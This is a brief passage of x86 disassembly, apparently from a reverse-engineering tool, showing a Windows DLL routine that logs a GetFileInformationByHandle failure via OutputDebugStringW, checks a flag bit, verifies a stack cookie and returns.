call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push str.LOG_SYSTEM:_ERROR____::GetFileInformationByHandle_failed___d_
call fcn.180113bf
pop ecx
pop ecx
push eax
call dword [sym.imp.KERNEL32.dll_OutputDebugStringW]
jmp 0x18007daf
mov eax, dword [ebp - 0x38]
shr eax, 0xa
and al, 1
mov ecx, dword [ebp - 4]
xor ecx, ebp
pop esi
call fcn.1811d8d8
leave
ret